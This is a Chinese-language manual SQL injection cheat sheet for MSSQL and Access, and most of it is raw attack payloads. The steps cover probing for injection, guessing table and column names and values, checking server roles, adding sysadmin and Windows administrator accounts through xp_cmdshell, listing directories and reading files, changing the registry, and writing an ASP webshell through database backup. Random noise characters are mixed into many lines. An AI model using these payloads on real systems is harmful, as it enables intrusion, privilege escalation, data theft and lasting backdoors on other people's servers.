手工脚本注入 % Y/ o# h( S9 e# i
1.判断是否有注入;and 1=1 ;and 1=2 ; g$ l O- n1 r6 {- |
" d3 S/ G# o2 p
2.初步判断是否是mssql ;and user>0
- P& ~2 _6 i& P. N: A8 D+ j2 q ?# T0 a
3.注入参数是字符'and [查询条件] and ''=' " ]5 v% N% z: O7 M$ m, E8 B- J' j
: R2 e' q& x- M4.搜索时没过滤参数的'and [查询条件] and '%25'=' 1 K/ H+ W$ m) L# s+ k
7 t* V4 ]$ j, e# F
5.判断数据库系统
8 }' y1 `, |4 _/ _1 J: {5 l4 ]8 o& R8 Q;and (select count(*) from sysobjects)>0 mssql 4 [- P6 g* A f' Y' s
;and (select count(*) from msysobjects)>0 access : W' O" g, t+ f/ l/ T. Z/ n, x {8 d( h
, P6 l7 F! u) @! H
6.猜数据库 ;and (select Count(*) from [数据库名])>0 s+ ]: h7 q3 E/ A! _# V
1 E+ b9 M, \, n& C H
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ) u. R: Q$ ^! v( B4 |1 C
+ t9 O! r/ |! H) h! @5 ]8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 8 j6 f) T/ {3 u2 r
- w7 i8 [( ?; L$ X' Z
9.(1)猜字段的ascii值(access) / p8 t h- ?7 m$ m U# z0 w3 h9 r/ I8 Y
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ' @4 r& w5 O/ t) y5 e' x9 ^+ l& F' Y
7 P& W5 h- G* S: E4 ]- ~5 q
(2)猜字段的ascii值(mssql) # \4 f3 W& j' \4 ]9 W( {+ X3 w3 O
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
) A+ ] |* |' G' B, }
0 _- }( F% S( l- l10.测试权限结构(mssql) 2 u) g( `$ `! e4 }, k
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 5 A5 e+ s7 G) q3 G
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
/ N. r; `% `, F' i* [# r;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 8 u. x/ A4 l+ @3 q6 f+ E
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ) S* k2 O; v1 u% F- e. }- c; e' X
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
# {( e* u- k) J3 J% |1 u: C. `;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- # V9 N1 w" ]$ V$ N0 P
;and 1=(select IS_MEMBER('db_owner'));--
" I: ^! q1 h/ F: W( R- D# |/ ^1 T5 d" z P- S# \6 a3 X6 v$ Z" i2 r
11.添加mssql和系统的帐户 0 [6 \! @, r$ A; ^) B! ~5 r) Z
;exec master.dbo.sp_addlogin username;-- % y2 _1 V. o E
4 d4 V# V ?) `: W;exec master.dbo.sp_password null,username,password;-- g8 }) c& e$ H" o2 A6 R+ ~
" O- @. b5 i1 Y5 \
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 1 O7 V; \4 @# R5 N
& v! }9 H# e% p, v: w
;exec master.dbo.xp_cmdshell 'net user username password
! w+ p- R2 X* J* x2 I" ~( z1 L/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
: \7 F6 i9 S) U A8 W1 s% F5 ?& n" r- S1 j l# @
;exec master.dbo.xp_cmdshell 'net user username password /add';--
' D; y- M$ e7 C4 w
5 I @ r; Y- J# }& C;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
, P+ c+ ^8 z! C. J7 d: \4 S' w6 g' `2 Q7 ?( M% L1 b
12.(1)遍历目录
2 ^, a( s$ \+ H/ o
( D4 w. [2 X$ U) C% [;create table dirs(paths varchar(100), id int) * G& C P, L. T" {& i u, w4 t
;insert dirs exec master.dbo.xp_dirtree 'c:\' # u$ J8 v4 g0 F, z9 W" _
;and (select top 1 paths from dirs)>0
+ y% K" s& f# W;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
1 l* V0 q3 j1 p$ p: _; F
7 X. D9 W$ u" v) E6 L% a' d3 \4 ~0 H(2)遍历目录 ' |: I- K# W$ j: r8 @& x
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
0 F# Y& Z( q8 N9 e# ^7 K* z;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 G0 H! M/ e4 E' ?; N7 G& P, J6 M' g
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 2 F# I& ?7 B- B1 ~" d
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 : o, y" R, h3 ^+ U& |4 ?
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 9 x( M& P) s9 |
+ d5 @7 p: L7 n6 R9 p/ p/ q- V13.mssql中的存储过程 6 U% |+ t5 _$ R! G
0 H( n! M. a zxp_regenumvalues 注册表根键, 子键 6 R0 i- x3 r9 j$ G7 L+ Y* F
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 3 z/ B9 J1 a4 R9 Y2 P4 V, l
3 b$ D" k3 W/ Z0 ]& O
xp_regread 根键,子键,键值名 : D9 b, H; @. w6 X1 t
;exec xp_regread $ z, x! ]6 @2 T2 }% O. ~
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
8 }! y k1 O3 ], P: F- O: B: Q5 m* j
xp_regwrite 根键,子键, 值名, 值类型, 值 & J4 |$ T% Z# v5 J5 Z! e
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 , l* Z1 S: E6 U( s6 ^: Q
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
" @+ E& i) t2 H9 }* a& X
( c( A# B ^- u" U7 s" y. A" cxp_regdeletevalue 根键,子键,值名
. H1 Y# a# P U0 s- X" h o2 o+ ]" m% }! U# j# K, t7 M
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 * r/ r& Q9 \, f) S' l( a
: k& \' u" j9 ^, `
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 4 I& `& w) g* R
* o# a4 v; v# O" o+ Q# {4 {- B
14.mssql的backup创建webshell
, \. j( I6 P- A1 W9 H& l- cuse model . p0 f- K, z' @6 C# `: l
create table cmd(str image);
- l, P" Y; S1 P8 Uinsert into cmd(str) values (''); % N1 p6 i# v8 ]
backup database model to disk='c:\l.asp'; / j+ E$ N; n$ q4 V- Q
/ J. F% s+ B* t& v0 N6 k3 j; g
15.mssql内置函数
1 z6 d6 T& D2 P3 R7 O7 Z( o5 `;and (select @@version)>0 获得Windows的版本号
3 R0 z4 N7 F9 N1 M4 x; A. i4 B;and user_name()='dbo' 判断当前系统的连接用户是不是sa
: _# \/ j' n$ D/ |8 W7 Z;and (select user_name())>0 爆当前系统的连接用户 ' }. v& z: d" ]$ V3 Y0 m
;and (select db_name())>0 得到当前连接的数据库
5 V, \( ?# Z7 [4 }/ V/ N
+ f( T) f' o N/ D7 `& g+ o16.简洁的webshell
* Z/ V8 u; o' d' g* S) u
$ |% W$ Z' m" I. O ause model ( Z6 i0 E. ^- ]
; x' u! z! ?2 [1 N' hcreate table cmd(str image); 5 G8 ?. R0 U8 i9 J6 ]( n
0 y7 k8 w4 {7 o8 K, j; D1 ^
insert into cmd(str) values ('');
1 T5 u- O, n5 X, n4 E$ N' T/ J$ j+ L$ h8 \; i) _1 L6 {- r
backup database model to disk='g:\wwwtest\l.asp';
3 W2 s+ p$ w4 u( K( c. f7 P2 U 2 N& ]0 K& H; W1 ?' Q
|